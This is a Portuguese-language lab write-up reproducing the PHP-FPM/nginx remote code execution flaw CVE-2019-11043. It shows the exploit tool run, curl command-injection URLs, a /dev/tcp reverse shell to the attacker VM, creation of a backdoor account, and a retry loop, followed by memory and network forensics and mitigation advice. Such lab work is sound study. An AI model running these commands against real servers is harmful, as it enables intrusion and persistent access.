
Laboratório prático reproduzindo CVE-2019-11043 PHP-FPM RCE por trás de nginx, demonstrando persistência por túnel reverso, forense de memória e análise de tráfego de rede.
Em outubro de 2019, os pesquisadores do Debian Security Advisory Emil Lerner e Andrew Danau publicaram um aviso alertando a comunidade Debian sobre uma vulnerabilidade crítica no PHP-FPM. Devido à validação insuficiente no código de tratamento de caminho do PHP-FPM, atacantes poderiam manipular requisições especialmente elaboradas para alcançar execução remota arbitrária de código sob determinadas configurações de NGINX + PHP-FPM.
Este laboratório demonstra a exploração de:
Uma vulnerabilidade que afeta o PHP-FPM executado atrás do NGINX que, quando acionada, pode permitir que atacantes executem código arbitrário e estabeleçam persistência por meio de tunelamento reverso.
O projeto recria um ambiente vulnerável, executa a cadeia de exploração e avalia como adversários alcançam persistência por meio de técnicas de tunelamento em cenários do mundo real.
Esta cadeia de ataque está diretamente alinhada com várias técnicas de alto impacto da MITRE ATT&CK:
O tunelamento reverso para persistência é um TTP de alta frequência (Tática, Técnica, Procedimento) usado por grupos APT, botnets e operadores de ransomware. O PHP-FPM continua amplamente implantado em ambientes de produção, e as más configurações exploradas pela CVE-2019-11043 ainda são observadas na natureza.
Não se trata de abstrações teóricas — elas refletem exatamente os comportamentos documentados em campanhas ativas de exploração envolvendo atores estatais e grupos de ransomware.
Mesmo que a CVE-2019-11043 tenha vários anos, a vulnerabilidade continua relevante devido às seguintes realidades modernas de segurança:
Aplicações PHP legadas ainda estão em toda parte. Muitas organizações continuam executando pilhas desatualizadas de PHP 5.x/7.x devido a dependências de aplicações web de longo prazo, dívida técnica ou medo de quebrar sistemas em produção. Esses ambientes muitas vezes permanecem sem correção e vulneráveis.
NGINX + PHP-FPM é uma das arquiteturas de hospedagem mais comuns do mundo. Isso torna as vulnerabilidades no PHP-FPM extremamente atraentes para atacantes que procuram superfícies de exploração grandes e duradouras.
O tunelamento reverso é uma técnica central de persistência em ameaças modernas. Grupos como Lazarus, APT29, FIN11 e numerosos operadores de ransomware usam túneis SSH reversos, túneis WebSocket e até reverse shells baseadas em PHP para manter acesso de longo prazo sem depender de portas de entrada expostas.
As más configurações continuam sendo a causa nº 1 de violações. Mesmo quando existem correções, blocos “location” do NGINX mal configurados e variáveis PATH_INFO mal validadas continuam expondo ambientes à exploração.
Kits de automação de exploits ainda têm como alvo esta CVE. Ferramentas como scanners automatizados, botnets e malware de IoT sondam rotineiramente configurações vulneráveis de PHP-FPM porque o exploit resulta em execução confiável de código.
Os ambientes de nuvem estão expandindo a superfície de ataque. Contêineres mal protegidos, configurações de hospedagem compartilhada e imagens base Docker desatualizadas frequentemente contêm versões sem correção do PHP-FPM, levando a movimentação lateral rápida dentro de redes em nuvem.
Os atacantes adoram "fruta fácil". Uma vulnerabilidade que permite execução remota de código + persistência baseada em túnel com o mínimo de habilidade exigida sempre permanecerá um alvo de alto valor.
No atual cenário de ameaças, onde acesso persistente, tunelamento furtivo e fraquezas na cadeia de suprimentos dominam as manchetes de segurança cibernética, entender e demonstrar como a CVE-2019-11043 é explorada fornece uma visão crítica sobre os padrões modernos de ataque e lacunas defensivas.
O objetivo deste laboratório foi simular uma exploração no mundo real da CVE-2019-11043, uma vulnerabilidade crítica de execução remota de código que afeta o PHP-FPM atrás do nginx em determinadas configurações. A meta foi analisar a vulnerabilidade, reproduzir o exploit em um ambiente virtual controlado e demonstrar os riscos associados à infraestrutura web mal configurada.
Duas máquinas virtuais foram usadas: ambas com nome de usuário username e senha password.
| Função | Máquina | Endereço IP | Finalidade |
|---|---|---|---|
| Alvo / Vítima | Ubuntu Server | 192.168.56.102 | Servidor PHP-FPM vulnerável executando CVE-2019-11043 |
| Atacante | Ubuntu Server | 192.168.56.103 | Executa exploit, reverse shell e persistência |
Atualize o apt
sudo apt update && sudo apt -y upgrade
Criando o container para o exploit da vulnerabilidade.
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d
Atualize o Apt e instale php, python e pacotes básicos adicionais
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
netcat-traditional net-tools build-essential \
php ruby ruby-full
pip3 install requests
sudo apt install golang-go
Baixa uma ferramenta para explorar a CVE em questão e move o terminal para compilar o exploit.
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build
A partir daqui a configuração está completa; por exemplo, o que você pode fazer primeiro:
Em um terminal (terminal 1), execute:
nc -lvnp 4444
Isso configura um canal de escuta e habilita a reverse shell; deve permanecer sempre em escuta, pois permite os comandos adiante em um experimento teórico.
Em outro terminal (terminal 2), execute:
cd phuip-fpizdam
./phuip-fpizdam http://192.168.56.102:8080/index.php
Isso deve exibir linhas confirmando que você explorou a vulnerabilidade com sucesso.
Por fim, abra um terminal final, adicional (terminal 3).
Imediatamente você pode começar a testar a funcionalidade do exploit executando:
curl "http://192.168.56.102:8080/index.php?a=id"
Isso cria um comando remoto baseado na web e exibe a saída de id. No entanto, como mostra a captura de tela abaixo, devido ao estouro de memória, há momentos em que o comando pode funcionar ou não; frequentemente, comandos menores têm mais chance de funcionar.
Qualquer comando pode, teoricamente, ser executado aqui; ele precisaria ser colocado onde o comando abaixo indica HERE, porém as chances de um comando completo ser executado podem variar.
curl "http://192.168.56.102:8080/index.php?a=HERE"
Este comando lê o conteúdo dentro do shell
http://192.168.56.102:8080/index.php?cmd=ls
Em um exemplo do mundo real, esse comando, feito por um ator de ameaça, criaria uma nova conta e criaria a senha password dentro das aspas
useradd threat
echo "password" | passwd --stdin hacker
Este comando cria uma reverse shell; no entanto, isso é uma prova de conceito e difícil de criar porque o PHP-FPM periodicamente encerra e recria os processos workers.
Quando o worker corrompido morre, as modificações injetadas no php.ini morrem junto.
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"
A partir daqui, um atacante provavelmente usaria uma tarefa agendada; neste exemplo, CRON, já que o servidor está em Linux, e isso equivale aos processos de inicialização do Windows.
O laboratório reproduziu com sucesso a CVE-2019-11043 em um ambiente controlado e demonstrou como uma configuração incorreta de nginx + PHP-FPM pode ser explorada remotamente. Usando a configuração vulnerável fastcgi_split_path_info baseada em regex, a máquina do atacante conseguiu forçar o PHP-FPM a um estado inconsistente, alcançando, em última instância, execução arbitrária de código. Além disso, foi realizada a extração de arquivos de log de um servidor remoto de vários sistemas e a análise de logs conhecidos por estarem relacionados a essa vulnerabilidade.
Uma vez acionada a vulnerabilidade, o atacante obteria execução remota de comandos no alvo e seria capaz de interagir com o sistema como usuário local. O servidor web comprometido aceitava comandos, executava-os e retornava a saída — confirmando uma reverse shell totalmente funcional. Isso confirmou que a CVE permanece confiavelmente explorável quando combinada com a configuração vulnerável de divisão de caminho do nginx e as versões afetadas do PHP-FPM.
O ambiente se comportou de forma consistente com o comportamento de exploit documentado. Comandos como whoami, id, ls e echo foram executados com sucesso, enquanto comandos mais complexos ou interativos demonstraram a instabilidade do processo worker do PHP-FPM explorado — um dos efeitos conhecidos dessa vulnerabilidade.
Como dito, devido à volatilidade da vulnerabilidade, ora sendo suscetível, ora não, há momentos em que funcionará e momentos em que não; é aconselhável criar scripts com comandos em loop.
Esta vulnerabilidade explora uma CVE diretamente relacionada a um problema de estouro de memória e buffer; por isso é importante examinar a memória da máquina host e analisá-la com o Volatility.
Para este laboratório, analisamos os principais logs relacionados a essa vulnerabilidade: Memória e Captura de Rede.
A captura de rede mostra os comandos que estão sendo tentados executar na máquina host. Eles incluem o próprio comando e vários caracteres anexados ao final da URL do comando HTTP GET enviado ao servidor, que, por sua vez, causam um estouro de memória.
Além disso, você pode ver em texto claro o comando executado, neste exemplo inofensivo, para baixar uma imagem de um cachorro feliz do Google Imagens, bem como o comando real com 'texto humorístico' do criador do repositório PHuip no GitHub.
A captura de memória, analisada pelo Volatility e reunida em um arquivo .json, mostra processos frequentes com o mesmo nome executados várias vezes seguidas, indicando falhas e novas execuções.
Isso acontece porque o erro de estouro de memória é o problema raiz relacionado a essa vulnerabilidade. Um usuário pode repetir um comando com algo como um script bash: while true; do curl "command" sleep 0.01, executando comandos várias vezes por segundo para tentar furar a barreira e obter a execução remota de código.
No geral, o projeto validou os seguintes pontos:
A regex vulnerável do nginx é suficiente para expor o PHP-FPM à execução remota de código.
O PHP-FPM 8.1 (quando configurado dessa maneira) ainda é explorável sob as condições da CVE-2019-11043.
Um atacante remoto pode obter execução significativa de comandos, permitindo manipulação de arquivos, exfiltração de dados e possível escalonamento de privilégios.
Más configurações em ambientes reverse-proxy / FastCGI representam uma superfície de ataque de alto impacto, especialmente quando combinadas com endpoints de upload acessíveis publicamente ou páginas phpinfo().
Os resultados reforçam o quão crítica é a configuração adequada do FastCGI e destacam a necessidade de padrões seguros, auditorias rotineiras de configuração e exposição mínima de endpoints de diagnóstico em ambientes de produção.
A exploração da CVE-2019-11043 demonstra como uma única má configuração no PHP-FPM e no NGINX pode levar à tomada do servidor e ao acesso persistente do adversário.
A equipe do Debian Security Advisory confirmou que atualizar o php7.0 para a versão 7.0.33 ou posterior corrige completamente essa vulnerabilidade.
Aplicar correções adequadas, configurações endurecidas do NGINX e monitoramento de comportamentos de tunelamento são fundamentais para prevenir ataques semelhantes em ambientes modernos.
| MITRE ID | Technique Name |
|---|
| T1071 | Application Layer Tunneling |
| T1572 | Protocol Tunneling |
| T1090 | Proxy / Reverse Proxy |
| T1505 | Server-Side Components (PHP-FPM) |
| T1574 | Hijacking Execution Flow |